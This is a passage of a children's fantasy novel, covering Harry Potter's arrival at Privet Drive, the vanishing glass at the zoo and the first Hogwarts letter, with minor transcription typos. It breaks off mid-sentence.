Mr. Dursley crept to the bedroom +window and peered down into the front garden. The cat was still there. +It was staring down Privet Drive as though it were waiting for +something. + +Was he imagining things? Could all this have anything to do with the +Potters? If it did... if it got out that they were related to a pair of +-- well, he didn't think he could bear it. + +The Dursleys got into bed. Mrs. Dursley fell asleep quickly but Mr. +Dursley lay awake, turning it all over in his mind. His last, comforting +thought before he fell asleep was that even if the Potters were +involved, there was no reason for them to come near him and Mrs. +Dursley. The Potters knew very well what he and Petunia thought about +them and their kind.... He couldn't see how he and Petunia could get +mixed up in anything that might be going on -- he yawned and turned over +-- it couldn't affect them.... + +How very wrong he was. + +Mr. Dursley might have been drifting into an uneasy sleep, but the cat +on the wall outside was showing no sign of sleepiness. It was sitting as +still as a statue, its eyes fixed unblinkingly on the far corner of +Privet Drive. It didn't so much as quiver when a car door slammed on the +next street, nor when two owls swooped overhead. In fact, it was nearly +midnight before the cat moved at all. + +A man appeared on the corner the cat had been watching, appeared so +suddenly and silently you'd have thought he'd just popped out of the +ground. The cat's tail twitched and its eyes narrowed. + +Nothing like this man had ever been seen on Privet Drive. He was tall, +thin, and very old, judging by the silver of his hair and beard, which +were both long enough to tuck into his belt. He was wearing long robes, +a purple cloak that swept the ground, and high-heeled, buckled boots. +His blue eyes were light, bright, and sparkling behind half-moon +spectacles and his nose was very long and crooked, as though it had been +broken at least twice. This man's name was Albus Dumbledore. + +Albus Dumbledore didn't seem to realize that he had just arrived in a +street where everything from his name to his boots was unwelcome. He was +busy rummaging in his cloak, looking for something. But he did seem to +realize he was being watched, because he looked up suddenly at the cat, +which was still staring at him from the other end of the street. For +some reason, the sight of the cat seemed to amuse him. He chuckled and +muttered, "I should have known." + +He found what he was looking for in his inside pocket. It seemed to be a +silver cigarette lighter. He flicked it open, held it up in the air, and +clicked it. The nearest street lamp went out with a little pop. He +clicked it again -- the next lamp flickered into darkness. Twelve times +he clicked the Put-Outer, until the only lights left on the whole street +were two tiny pinpricks in the distance, which were the eyes of the cat +watching him. If anyone looked out of their window now, even beady-eyed +Mrs. Dursley, they wouldn't be able to see anything that was happening +down on the pavement. Dumbledore slipped the Put-Outer back inside his +cloak and set off down the street toward number four, where he sat down +on the wall next to the cat. He didn't look at it, but after a moment he +spoke to it. + +"Fancy seeing you here, Professor McGonagall." + +He turned to smile at the tabby, but it had gone. Instead he was smiling +at a rather severe-looking woman who was wearing square glasses exactly +the shape of the markings the cat had had around its eyes. She, too, was +wearing a cloak, an emerald one. Her black hair was drawn into a tight +bun. She looked distinctly ruffled. + +"How did you know it was me?" she asked. + +"My dear Professor, I 've never seen a cat sit so stiffly." + +"You'd be stiff if you'd been sitting on a brick wall all day," said +Professor McGonagall. + +"All day? When you could have been celebrating? I must have passed a +dozen feasts and parties on my way here." + +Professor McGonagall sniffed angrily. + +"Oh yes, everyone's celebrating, all right," she said impatiently. +"You'd think they'd be a bit more careful, but no -- even the Muggles +have noticed something's going on. It was on their news." She jerked her +head back at the Dursleys' dark living-room window. "I heard it. Flocks +of owls... shooting stars.... Well, they're not completely stupid. They +were bound to notice something. Shooting stars down in Kent -- I'll bet +that was Dedalus Diggle. He never had much sense." + +"You can't blame them," said Dumbledore gently. "We've had precious +little to celebrate for eleven years." + +"I know that," said Professor McGonagall irritably. "But that's no +reason to lose our heads. People are being downright careless, out on +the streets in broad daylight, not even dressed in Muggle clothes, +swapping rumors." + +She threw a sharp, sideways glance at Dumbledore here, as though hoping +he was going to tell her something, but he didn't, so she went on. "A +fine thing it would be if, on the very day YouKnow-Who seems to have +disappeared at last, the Muggles found out about us all. I suppose he +really has gone, Dumbledore?" + +"It certainly seems so," said Dumbledore. "We have much to be thankful +for. Would you care for a lemon drop?" + +"A what?" + +"A lemon drop. They're a kind of Muggle sweet I'm rather fond of" + +"No, thank you," said Professor McGonagall coldly, as though she didn't +think this was the moment for lemon drops. "As I say, even if +You-Know-Who has gone -" + +"My dear Professor, surely a sensible person like yourself can call him +by his name? All this 'You- Know-Who' nonsense -- for eleven years I +have been trying to persuade people to call him by his proper name: +Voldemort." Professor McGonagall flinched, but Dumbledore, who was +unsticking two lemon drops, seemed not to notice. "It all gets so +confusing if we keep saying 'You-Know-Who.' I have never seen any reason +to be frightened of saying Voldemort's name. + +"I know you haven 't, said Professor McGonagall, sounding half +exasperated, half admiring. "But you're different. Everyone knows you're +the only one You-Know- oh, all right, Voldemort, was frightened of." + +"You flatter me," said Dumbledore calmly. "Voldemort had powers I will +never have." + +"Only because you're too -- well -- noble to use them." + +"It's lucky it's dark. I haven't blushed so much since Madam Pomfrey +told me she liked my new earmuffs." + +Professor McGonagall shot a sharp look at Dumbledore and said, "The owls +are nothing next to the rumors that are flying around. You know what +everyone's saying? About why he's disappeared? About what finally +stopped him?" + +It seemed that Professor McGonagall had reached the point she was most +anxious to discuss, the real reason she had been waiting on a cold, hard +wall all day, for neither as a cat nor as a woman had she fixed +Dumbledore with such a piercing stare as she did now. It was plain that +whatever "everyone" was saying, she was not going to believe it until +Dumbledore told her it was true. Dumbledore, however, was choosing +another lemon drop and did not answer. + +"What they're saying," she pressed on, "is that last night Voldemort +turned up in Godric's Hollow. He went to find the Potters. The rumor is +that Lily and James Potter are -- are -- that they're -- dead. " + +Dumbledore bowed his head. Professor McGonagall gasped. + +"Lily and James... I can't believe it... I didn't want to believe it... +Oh, Albus..." + +Dumbledore reached out and patted her on the shoulder. "I know... I +know..." he said heavily. + +Professor McGonagall's voice trembled as she went on. "That's not all. +They're saying he tried to kill the Potter's son, Harry. But -- he +couldn't. He couldn't kill that little boy. No one knows why, or how, +but they're saying that when he couldn't kill Harry Potter, Voldemort's +power somehow broke -- and that's why he's gone. + +Dumbledore nodded glumly. + +"It's -- it's true?" faltered Professor McGonagall. "After all he's +done... all the people he's killed... he couldn't kill a little boy? +It's just astounding... of all the things to stop him... but how in the +name of heaven did Harry survive?" + +"We can only guess," said Dumbledore. "We may never know." + +Professor McGonagall pulled out a lace handkerchief and dabbed at her +eyes beneath her spectacles. Dumbledore gave a great sniff as he took a +golden watch from his pocket and examined it. It was a very odd watch. +It had twelve hands but no numbers; instead, little planets were moving +around the edge. It must have made sense to Dumbledore, though, because +he put it back in his pocket and said, "Hagrid's late. I suppose it was +he who told you I'd be here, by the way?" + +"Yes," said Professor McGonagall. "And I don't suppose you're going to +tell me why you're here, of all places?" + +"I've come to bring Harry to his aunt and uncle. They're the only family +he has left now." + +"You don't mean -- you can't mean the people who live here?" cried +Professor McGonagall, jumping to her feet and pointing at number four. +"Dumbledore -- you can't. I've been watching them all day. You couldn't +find two people who are less like us. And they've got this son -- I saw +him kicking his mother all the way up the street, screaming for sweets. +Harry Potter come and live here!" + +"It's the best place for him," said Dumbledore firmly. "His aunt and +uncle will be able to explain everything to him when he's older. I've +written them a letter." + +"A letter?" repeated Professor McGonagall faintly, sitting back down on +the wall. "Really, Dumbledore, you think you can explain all this in a +letter? These people will never understand him! He'll be famous -- a +legend -- I wouldn't be surprised if today was known as Harry Potter day +in the future -- there will be books written about Harry -- every child +in our world will know his name!" + +"Exactly," said Dumbledore, looking very seriously over the top of his +half-moon glasses. "It would be enough to turn any boy's head. Famous +before he can walk and talk! Famous for something he won't even +remember! CarA you see how much better off he'll be, growing up away +from all that until he's ready to take it?" + +Professor McGonagall opened her mouth, changed her mind, swallowed, and +then said, "Yes -- yes, you're right, of course. But how is the boy +getting here, Dumbledore?" She eyed his cloak suddenly as though she +thought he might be hiding Harry underneath it. + +"Hagrid's bringing him." + +"You think it -- wise -- to trust Hagrid with something as important as +this?" + +I would trust Hagrid with my life," said Dumbledore. + +"I'm not saying his heart isn't in the right place," said Professor +McGonagall grudgingly, "but you can't pretend he's not careless. He does +tend to -- what was that?" + +A low rumbling sound had broken the silence around them. It grew +steadily louder as they looked up and down the street for some sign of a +headlight; it swelled to a roar as they both looked up at the sky -- and +a huge motorcycle fell out of the air and landed on the road in front of +them. + +If the motorcycle was huge, it was nothing to the man sitting astride +it. He was almost twice as tall as a normal man and at least five times +as wide. He looked simply too big to be allowed, and so wild - long +tangles of bushy black hair and beard hid most of his face, he had hands +the size of trash can lids, and his feet in their leather boots were +like baby dolphins. In his vast, muscular arms he was holding a bundle +of blankets. + +"Hagrid," said Dumbledore, sounding relieved. "At last. And where did +you get that motorcycle?" + +"Borrowed it, Professor Dumbledore, sit," said the giant, climbing +carefully off the motorcycle as he spoke. "Young Sirius Black lent it to +me. I've got him, sir." + +"No problems, were there?" + +"No, sir -- house was almost destroyed, but I got him out all right +before the Muggles started swarmin' around. He fell asleep as we was +flyin' over Bristol." + +Dumbledore and Professor McGonagall bent forward over the bundle of +blankets. Inside, just visible, was a baby boy, fast asleep. Under a +tuft of jet-black hair over his forehead they could see a curiously +shaped cut, like a bolt of lightning. + +"Is that where -?" whispered Professor McGonagall. + +"Yes," said Dumbledore. "He'll have that scar forever." + +"Couldn't you do something about it, Dumbledore?" + +"Even if I could, I wouldn't. Scars can come in handy. I have one myself +above my left knee that is a perfect map of the London Underground. Well +-- give him here, Hagrid -- we'd better get this over with." + +Dumbledore took Harry in his arms and turned toward the Dursleys' house. + +"Could I -- could I say good-bye to him, sir?" asked Hagrid. He bent his +great, shaggy head over Harry and gave him what must have been a very +scratchy, whiskery kiss. Then, suddenly, Hagrid let out a howl like a +wounded dog. + +"Shhh!" hissed Professor McGonagall, "you'll wake the Muggles!" + +"S-s-sorry," sobbed Hagrid, taking out a large, spotted handkerchief and +burying his face in it. "But I c-c-can't stand it -- Lily an' James dead +-- an' poor little Harry off ter live with Muggles -" + +"Yes, yes, it's all very sad, but get a grip on yourself, Hagrid, or +we'll be found," Professor McGonagall whispered, patting Hagrid gingerly +on the arm as Dumbledore stepped over the low garden wall and walked to +the front door. He laid Harry gently on the doorstep, took a letter out +of his cloak, tucked it inside Harry's blankets, and then came back to +the other two. For a full minute the three of them stood and looked at +the little bundle; Hagrid's shoulders shook, Professor McGonagall +blinked furiously, and the twinkling light that usually shone from +Dumbledore's eyes seemed to have gone out. + +"Well," said Dumbledore finally, "that's that. We've no business staying +here. We may as well go and join the celebrations." + +"Yeah," said Hagrid in a very muffled voice, "I'll be takin' Sirius his +bike back. G'night, Professor McGonagall -- Professor Dumbledore, sir." + +Wiping his streaming eyes on his jacket sleeve, Hagrid swung himself +onto the motorcycle and kicked the engine into life; with a roar it rose +into the air and off into the night. + +"I shall see you soon, I expect, Professor McGonagall," said Dumbledore, +nodding to her. Professor McGonagall blew her nose in reply. + +Dumbledore turned and walked back down the street. On the corner he +stopped and took out the silver Put-Outer. He clicked it once, and +twelve balls of light sped back to their street lamps so that Privet +Drive glowed suddenly orange and he could make out a tabby cat slinking +around the corner at the other end of the street. He could just see the +bundle of blankets on the step of number four. + +"Good luck, Harry," he murmured. He turned on his heel and with a swish +of his cloak, he was gone. + +A breeze ruffled the neat hedges of Privet Drive, which lay silent and +tidy under the inky sky, the very last place you would expect +astonishing things to happen. Harry Potter rolled over inside his +blankets without waking up. One small hand closed on the letter beside +him and he slept on, not knowing he was special, not knowing he was +famous, not knowing he would be woken in a few hours' time by Mrs. +Dursley's scream as she opened the front door to put out the milk +bottles, nor that he would spend the next few weeks being prodded and +pinched by his cousin Dudley... He couldn't know that at this very +moment, people meeting in secret all over the country were holding up +their glasses and saying in hushed voices: "To Harry Potter -- the boy +who lived!" + + +CHAPTER TWO + +THE VANISHING GLASS + +Nearly ten years had passed since the Dursleys had woken up to find +their nephew on the front step, but Privet Drive had hardly changed at +all. The sun rose on the same tidy front gardens and lit up the brass +number four on the Dursleys' front door; it crept into their living +room, which was almost exactly the same as it had been on the night when +Mr. Dursley had seen that fateful news report about the owls. Only the +photographs on the mantelpiece really showed how much time had passed. +Ten years ago, there had been lots of pictures of what looked like a +large pink beach ball wearing different-colored bonnets -- but Dudley +Dursley was no longer a baby, and now the photographs showed a large +blond boy riding his first bicycle, on a carousel at the fair, playing a +computer game with his father, being hugged and kissed by his mother. +The room held no sign at all that another boy lived in the house, too. + +Yet Harry Potter was still there, asleep at the moment, but not for +long. His Aunt Petunia was awake and it was her shrill voice that made +the first noise of the day. + +"Up! Get up! Now!" + +Harry woke with a start. His aunt rapped on the door again. + +"Up!" she screeched. Harry heard her walking toward the kitchen and then +the sound of the frying pan being put on the stove. He rolled onto his +back and tried to remember the dream he had been having. It had been a +good one. There had been a flying motorcycle in it. He had a funny +feeling he'd had the same dream before. + +His aunt was back outside the door. + +"Are you up yet?" she demanded. + +"Nearly," said Harry. + +"Well, get a move on, I want you to look after the bacon. And don't you +dare let it burn, I want everything perfect on Duddy's birthday." + +Harry groaned. + +"What did you say?" his aunt snapped through the door. + +"Nothing, nothing..." + +Dudley's birthday -- how could he have forgotten? Harry got slowly out +of bed and started looking for socks. He found a pair under his bed and, +after pulling a spider off one of them, put them on. Harry was used to +spiders, because the cupboard under the stairs was full of them, and +that was where he slept. + +When he was dressed he went down the hall into the kitchen. The table +was almost hidden beneath all Dudley's birthday presents. It looked as +though Dudley had gotten the new computer he wanted, not to mention the +second television and the racing bike. Exactly why Dudley wanted a +racing bike was a mystery to Harry, as Dudley was very fat and hated +exercise -- unless of course it involved punching somebody. Dudley's +favorite punching bag was Harry, but he couldn't often catch him. Harry +didn't look it, but he was very fast. + +Perhaps it had something to do with living in a dark cupboard, but Harry +had always been small and skinny for his age. He looked even smaller and +skinnier than he really was because all he had to wear were old clothes +of Dudley's, and Dudley was about four times bigger than he was. Harry +had a thin face, knobbly knees, black hair, and bright green eyes. He +wore round glasses held together with a lot of Scotch tape because of +all the times Dudley had punched him on the nose. The only thing Harry +liked about his own appearance was a very thin scar on his forehead that +was shaped like a bolt of lightning. He had had it as long as he could +remember, and the first question he could ever remember asking his Aunt +Petunia was how he had gotten it. + +"In the car crash when your parents died," she had said. "And don't ask +questions." + +Don't ask questions -- that was the first rule for a quiet life with the +Dursleys. + +Uncle Vernon entered the kitchen as Harry was turning over the bacon. + +"Comb your hair!" he barked, by way of a morning greeting. + +About once a week, Uncle Vernon looked over the top of his newspaper and +shouted that Harry needed a haircut. Harry must have had more haircuts +than the rest of the boys in his class put + +together, but it made no difference, his hair simply grew that way -- +all over the place. + +Harry was frying eggs by the time Dudley arrived in the kitchen with his +mother. Dudley looked a lot like Uncle Vernon. He had a large pink face, +not much neck, small, watery blue eyes, and thick blond hair that lay +smoothly on his thick, fat head. Aunt Petunia often said that Dudley +looked like a baby angel -- Harry often said that Dudley looked like a +pig in a wig. + +Harry put the plates of egg and bacon on the table, which was difficult +as there wasn't much room. Dudley, meanwhile, was counting his presents. +His face fell. + +"Thirty-six," he said, looking up at his mother and father. "That's two +less than last year." + +"Darling, you haven't counted Auntie Marge's present, see, it's here +under this big one from Mommy and Daddy." + +"All right, thirty-seven then," said Dudley, going red in the face. +Harry, who could see a huge Dudley tantrum coming on, began wolfing down +his bacon as fast as possible in case Dudley turned the table over. + +Aunt Petunia obviously scented danger, too, because she said quickly, +"And we'll buy you another two presents while we're out today. How's +that, popkin? Two more presents. Is that all right'' + +Dudley thought for a moment. It looked like hard work. Finally he said +slowly, "So I'll have thirty ... thirty..." + +"Thirty-nine, sweetums," said Aunt Petunia. + +"Oh." Dudley sat down heavily and grabbed the nearest parcel. "All right +then." + +Uncle Vernon chuckled. "Little tyke wants his money's worth, just like +his father. 'Atta boy, Dudley!" He ruffled Dudley's hair. + +At that moment the telephone rang and Aunt Petunia went to answer it +while Harry and Uncle Vernon watched Dudley unwrap the racing bike, a +video camera, a remote control airplane, sixteen new computer games, and +a VCR. He was ripping the paper off a gold wristwatch when Aunt Petunia +came back from the telephone looking both angry and worried. + +"Bad news, Vernon," she said. "Mrs. Figg's broken her leg. She can't +take him." She jerked her head in Harry's direction. + +Dudley's mouth fell open in horror, but Harry's heart gave a leap. Every +year on Dudley's birthday, his parents took him and a friend out for the +day, to adventure parks, hamburger restaurants, or the movies. Every +year, Harry was left behind with Mrs. Figg, a mad old lady who lived two +streets away. Harry hated it there. The whole house smelled of cabbage +and Mrs. Figg made him look at photographs of all the cats she'd ever +owned. + +"Now what?" said Aunt Petunia, looking furiously at Harry as though he'd +planned this. Harry knew he ought to feel sorry that Mrs. Figg had +broken her leg, but it wasn't easy when he reminded himself it would be +a whole year before he had to look at Tibbles, Snowy, Mr. Paws, and +Tufty again. + +"We could phone Marge," Uncle Vernon suggested. + +"Don't be silly, Vernon, she hates the boy." + +The Dursleys often spoke about Harry like this, as though he wasn't +there -- or rather, as though he was something very nasty that couldn't +understand them, like a slug. + +"What about what's-her-name, your friend -- Yvonne?" + +"On vacation in Majorca," snapped Aunt Petunia. + +"You could just leave me here," Harry put in hopefully (he'd be able to +watch what he wanted on television for a change and maybe even have a go +on Dudley's computer). + +Aunt Petunia looked as though she'd just swallowed a lemon. + +"And come back and find the house in ruins?" she snarled. + +"I won't blow up the house," said Harry, but they weren't listening. + +"I suppose we could take him to the zoo," said Aunt Petunia slowly, "... +and leave him in the car...." + +"That car's new, he's not sitting in it alone...." + +Dudley began to cry loudly. In fact, he wasn't really crying -- it had +been years since he'd really cried -- but he knew that if he screwed up +his face and wailed, his mother would give him anything he wanted. + +"Dinky Duddydums, don't cry, Mummy won't let him spoil your special +day!" she cried, flinging her arms around him. + +"I... don't... want... him... t-t-to come!" Dudley yelled between huge, +pretend sobs. "He always sp- spoils everything!" He shot Harry a nasty +grin through the gap in his mother's arms. + +Just then, the doorbell rang -- "Oh, good Lord, they're here!" said Aunt +Petunia frantically -- and a moment later, Dudley's best friend, Piers +Polkiss, walked in with his mother. Piers was a scrawny boy with a face +like a rat. He was usually the one who held people's arms behind their +backs while Dudley hit them. Dudley stopped pretending to cry at once. + +Half an hour later, Harry, who couldn't believe his luck, was sitting in +the back of the Dursleys' car with Piers and Dudley, on the way to the +zoo for the first time in his life. His aunt and uncle hadn't been able +to think of anything else to do with him, but before they'd left, Uncle +Vernon had taken Harry aside. + +"I'm warning you," he had said, putting his large purple face right up +close to Harry's, "I'm warning you now, boy -- any funny business, +anything at all -- and you'll be in that cupboard from now until +Christmas." + +"I'm not going to do anything," said Harry, "honestly.. + +But Uncle Vernon didn't believe him. No one ever did. + +The problem was, strange things often happened around Harry and it was +just no good telling the Dursleys he didn't make them happen. + +Once, Aunt Petunia, tired of Harry coming back from the barbers looking +as though he hadn't been at all, had taken a pair of kitchen scissors +and cut his hair so short he was almost bald except for his bangs, which +she left "to hide that horrible scar." Dudley had laughed himself silly +at Harry, who spent a sleepless night imagining school the next day, +where he was already laughed at for his baggy clothes and taped glasses. +Next morning, however, he had gotten up to find his hair exactly as it +had been before Aunt Petunia had sheared it off He had been given a week +in his cupboard for this, even though he had tried to explain that he +couldn't explain how it had grown back so quickly. + +Another time, Aunt Petunia had been trying to force him into a revolting +old sweater of Dudley's (brown with orange puff balls) -- The harder she +tried to pull it over his head, the smaller it seemed to become, until +finally it might have fitted a hand puppet, but certainly wouldn't fit +Harry. Aunt Petunia had decided it must have shrunk in the wash and, to +his great relief, Harry wasn't punished. + +On the other hand, he'd gotten into terrible trouble for being found on +the roof of the school kitchens. Dudley's gang had been chasing him as +usual when, as much to Harry's surprise as anyone else's, there he was +sitting on the chimney. The Dursleys had received a very angry letter +from Harry's headmistress telling them Harry had been climbing school +buildings. But all he'd tried to do (as he shouted at Uncle Vernon +through the locked door of his cupboard) was jump behind the big trash +cans outside the kitchen doors. Harry supposed that the wind must have +caught him in mid- jump. + +But today, nothing was going to go wrong. It was even worth being with +Dudley and Piers to be spending the day somewhere that wasn't school, +his cupboard, or Mrs. Figg's cabbage-smelling living room. + +While he drove, Uncle Vernon complained to Aunt Petunia. He liked to +complain about things: people at work, Harry, the council, Harry, the +bank, and Harry were just a few of his favorite subjects. This morning, +it was motorcycles. + +"... roaring along like maniacs, the young hoodlums," he said, as a +motorcycle overtook them. + +I had a dream about a motorcycle," said Harry, remembering suddenly. "It +was flying." + +Uncle Vernon nearly crashed into the car in front. He turned right +around in his seat and yelled at Harry, his face like a gigantic beet +with a mustache: "MOTORCYCLES DON'T FLY!" + +Dudley and Piers sniggered. + +I know they don't," said Harry. "It was only a dream." + +But he wished he hadn't said anything. If there was one thing the +Dursleys hated even more than his asking questions, it was his talking +about anything acting in a way it shouldn't, no matter if it was in a +dream or even a cartoon -- they seemed to think he might get dangerous +ideas. + +It was a very sunny Saturday and the zoo was crowded with families. The +Dursleys bought Dudley and Piers large chocolate ice creams at the +entrance and then, because the smiling lady in the van had asked Harry +what he wanted before they could hurry him away, they bought him a cheap +lemon ice pop. It wasn't bad, either, Harry thought, licking it as they +watched a gorilla scratching its head who looked remarkably like Dudley, +except that it wasn't blond. + +Harry had the best morning he'd had in a long time. He was careful to +walk a little way apart from the Dursleys so that Dudley and Piers, who +were starting to get bored with the animals by lunchtime, wouldn't fall +back on their favorite hobby of hitting him. They ate in the zoo +restaurant, and when Dudley had a tantrum because his knickerbocker +glory didn't have enough ice cream on top, Uncle Vernon bought him +another one and Harry was allowed to finish the first. + +Harry felt, afterward, that he should have known it was all too good to +last. + +After lunch they went to the reptile house. It was cool and dark in +there, with lit windows all along the walls. Behind the glass, all sorts +of lizards and snakes were crawling and slithering over bits of wood and +stone. Dudley and Piers wanted to see huge, poisonous cobras and thick, +man-crushing pythons. Dudley quickly found the largest snake in the +place. It could have wrapped its body twice around Uncle Vernon's car +and crushed it into a trash can -- but at the moment it didn't look in +the mood. In fact, it was fast asleep. + +Dudley stood with his nose pressed against the glass, staring at the +glistening brown coils. + +"Make it move," he whined at his father. Uncle Vernon tapped on the +glass, but the snake didn't budge. + +"Do it again," Dudley ordered. Uncle Vernon rapped the glass smartly +with his knuckles, but the snake just snoozed on. + +"This is boring," Dudley moaned. He shuffled away. + +Harry moved in front of the tank and looked intently at the snake. He +wouldn't have been surprised if it had died of boredom itself -- no +company except stupid people drumming their fingers on the glass trying +to disturb it all day long. It was worse than having a cupboard as a +bedroom, where the only visitor was Aunt Petunia hammering on the door +to wake you up; at least he got to visit the rest of the house. + +The snake suddenly opened its beady eyes. Slowly, very slowly, it raised +its head until its eyes were on a level with Harry's. + +It winked. + +Harry stared. Then he looked quickly around to see if anyone was +watching. They weren't. He looked back at the snake and winked, too. + +The snake jerked its head toward Uncle Vernon and Dudley, then raised +its eyes to the ceiling. It gave Harry a look that said quite plainly: + +"I get that all the time. + +"I know," Harry murmured through the glass, though he wasn't sure the +snake could hear him. "It must be really annoying." + +The snake nodded vigorously. + +"Where do you come from, anyway?" Harry asked. + +The snake jabbed its tail at a little sign next to the glass. Harry +peered at it. + +Boa Constrictor, Brazil. + +"Was it nice there?" + +The boa constrictor jabbed its tail at the sign again and Harry read on: +This specimen was bred in the zoo. "Oh, I see -- so you've never been to +Brazil?" + +As the snake shook its head, a deafening shout behind Harry made both of +them jump. + +"DUDLEY! MR. DURSLEY! COME AND LOOK AT THIS SNAKE! YOU WON'T BELIEVE +WHAT IT'S DOING!" + +Dudley came waddling toward them as fast as he could. + +"Out of the way, you," he said, punching Harry in the ribs. Caught by +surprise, Harry fell hard on the concrete floor. What came next happened +so fast no one saw how it happened -- one second, Piers and Dudley were +leaning right up close to the glass, the next, they had leapt back with +howls of horror. + +Harry sat up and gasped; the glass front of the boa constrictor's tank +had vanished. The great snake was uncoiling itself rapidly, slithering +out onto the floor. People throughout the reptile house screamed and +started running for the exits. + +As the snake slid swiftly past him, Harry could have sworn a low, +hissing voice said, "Brazil, here I come.... Thanksss, amigo." + +The keeper of the reptile house was in shock. + +"But the glass," he kept saying, "where did the glass go?" + +The zoo director himself made Aunt Petunia a cup of strong, sweet tea +while he apologized over and over again. Piers and Dudley could only +gibber. As far as Harry had seen, the snake hadn't done anything except +snap playfully at their heels as it passed, but by the time they were +all back in Uncle Vernon's car, Dudley was telling them how it had +nearly bitten off his leg, while Piers was swearing it had tried to +squeeze him to death. But worst of all, for Harry at least, was Piers +calming down enough to say, "Harry was talking to it, weren't you, +Harry?" + +Uncle Vernon waited until Piers was safely out of the house before +starting on Harry. He was so angry he could hardly speak. He managed to +say, "Go -- cupboard -- stay -- no meals," before he collapsed into a +chair, and Aunt Petunia had to run and get him a large brandy. + +Harry lay in his dark cupboard much later, wishing he had a watch. He +didn't know what time it was and he couldn't be sure the Dursleys were +asleep yet. Until they were, he couldn't risk sneaking to the kitchen +for some food. + +He'd lived with the Dursleys almost ten years, ten miserable years, as +long as he could remember, ever since he'd been a baby and his parents +had died in that car crash. He couldn't remember being in the car when +his parents had died. Sometimes, when he strained his memory during long +hours in his cupboard, he came up with a strange vision: a blinding +flash of green light and a burn- ing pain on his forehead. This, he +supposed, was the crash, though he couldn't imagine where all the green +light came from. He couldn't remember his parents at all. His aunt and +uncle never spoke about them, and of course he was forbidden to ask +questions. There were no photographs of them in the house. + +When he had been younger, Harry had dreamed and dreamed of some unknown +relation coming to take him away, but it had never happened; the +Dursleys were his only family. Yet sometimes he thought (or maybe hoped) +that strangers in the street seemed to know him. Very strange strangers +they were, too. A tiny man in a violet top hat had bowed to him once +while out shopping with Aunt Petunia and Dudley. After asking Harry +furiously if he knew the man, Aunt Petunia had rushed them out of the +shop without buying anything. A wild-looking old woman dressed all in +green had waved merrily at him once on a bus. A bald man in a very long +purple coat had actually shaken his hand in the street the other day and +then walked away without a word. The weirdest thing about all these +people was the way they seemed to vanish the second Harry tried to get a +closer look. + +At school, Harry had no one. Everybody knew that Dudley's gang hated +that odd Harry Potter in his baggy old clothes and broken glasses, and +nobody liked to disagree with Dudley's gang. + + +CHAPTER THREE + +THE LETTERS FROM NO ONE + +The escape of the Brazilian boa constrictor earned Harry his +longest-ever punishment. By the time he was allowed out of his cupboard +again, the summer holidays had started and Dudley had already broken his +new video camera, crashed his remote control airplane, and, first time +out on his racing bike, knocked down old Mrs. Figg as she crossed Privet +Drive on her crutches. + +Harry was glad school was over, but there was no escaping Dudley's gang, +who visited the house every single day. Piers, Dennis, Malcolm, and +Gordon were all big and stupid, but as Dudley was the biggest and +stupidest of the lot, he was the leader. The rest of them were all quite +happy to join in Dudley's favorite sport: Harry Hunting. + +This was why Harry spent as much time as possible out of the house, +wandering around and thinking about the end of the holidays, where he +could see a tiny ray of hope. When September came he would be going off +to secondary school and, for the first time in his life, he wouldn't be +with Dudley. Dudley had been accepted at Uncle Vernon's old private +school, Smeltings. Piers Polkiss was going there too. Harry, on the +other hand, was going to Stonewall High, the local public school. Dudley +thought this was very funny. + +"They stuff people's heads down the toilet the first day at Stonewall," +he told Harry. "Want to come upstairs and practice?" + +"No, thanks," said Harry. "The poor toilet's never had anything as +horrible as your head down it -- it might be sick." Then he ran, before +Dudley could work out what he'd said. + +One day in July, Aunt Petunia took Dudley to London to buy his Smeltings +uniform, leaving Harry at Mrs. Figg's. Mrs. Figg wasn 't as bad as +usual. It turned out she'd broken her leg tripping over one of her cats, +and she didn't seem quite as fond of them as before. She let Harry watch +television and gave him a bit of chocolate cake that tasted as though +she'd had it for several years. + +That evening, Dudley paraded around the living room for the family in +his brand-new uniform. Smeltings' boys wore maroon tailcoats, orange +knickerbockers, and flat straw hats called boaters. They also carried +knobbly sticks, used for hitting each other while the teachers weren't +looking. This was supposed to be good training for later life. + +As he looked at Dudley in his new knickerbockers, Uncle Vernon said +gruffly that it was the proudest moment of his life. Aunt Petunia burst +into tears and said she couldn't believe it was her Ickle Dudleykins, he +looked so handsome and grown-up. Harry didn't trust himself to speak. He +thought two of his ribs might already have cracked from trying not to +laugh. + +There was a horrible smell in the kitchen the next morning when Harry +went in for breakfast. It seemed to be coming from a large metal tub in +the sink. He went to have a look. The tub was full of what looked like +dirty rags swimming in gray water. + +"What's this?" he asked Aunt Petunia. Her lips tightened as they always +did if he dared to ask a question. + +"Your new school uniform," she said. + +Harry looked in the bowl again. + +"Oh," he said, "I didn't realize it had to be so wet." + +"DotA be stupid," snapped Aunt Petunia. "I'm dyeing some of Dudley's old +things gray for you. It'll look just like everyone else's when I've +finished." + +Harry seriously doubted this, but thought it best not to argue. He sat +down at the table and tried not to think about how he was going to look +on his first day at Stonewall High -- like he was wearing bits of old +elephant skin, probably. + +Dudley and Uncle Vernon came in, both with wrinkled noses because of the +smell from Harry's new uniform. Uncle Vernon opened his newspaper as +usual and Dudley banged his Smelting stick, which he carried everywhere, +on the table. + +They heard the click of the mail slot and flop of letters on the +doormat. + +"Get the mail, Dudley," said Uncle Vernon from behind his paper. + +"Make Harry get it." + +"Get the mail, Harry." + +"Make Dudley get it." + +"Poke him with your Smelting stick, Dudley." + +Harry dodged the Smelting stick and went to get the mail. Three things +lay on the doormat: a postcard from Uncle Vernon's sister Marge, who was +vacationing on the Isle of Wight, a brown envelope that looked like a +bill, and -- a letter for Harry. + +Harry picked it up and stared at it, his heart twanging like a giant +elastic band. No one, ever, in his whole life, had written to him. Who +would? He had no friends, no other relatives -- he didn't belong to the +library, so he'd never even got rude notes asking for books back. Yet +here it was, a letter, addressed so plainly there could be no mistake: + +Mr. H. Potter + +The Cupboard under the Stairs + +4 Privet Drive + +Little Whinging + +Surrey + +The envelope was thick and heavy, made of yellowish parchment, and the +address was written in emerald-green ink. There was no stamp. + +Turning the envelope over, his hand trembling, Harry saw a purple wax +seal bearing a coat of arms; a lion, an eagle, a badger, and a snake +surrounding a large letter H. + +"Hurry up, boy!" shouted Uncle Vernon from the kitchen. "What are you +doing, checking for letter bombs?" He chuckled at his own joke. + +Harry went back to the kitchen, still staring at his letter. He handed +Uncle Vernon the bill and the postcard, sat down, and slowly began to +open the yellow envelope. + +Uncle Vernon ripped open the bill, snorted in disgust, and flipped over +the postcard. + +"Marge's ill," he informed Aunt Petunia. "Ate a funny whelk. --." + +"Dad!" said Dudley suddenly. "Dad, Harry's got something!" + +Harry was on the point of unfolding his letter, which was written on the +same heavy parchment as the envelope, when it was jerked sharply out of +his hand by 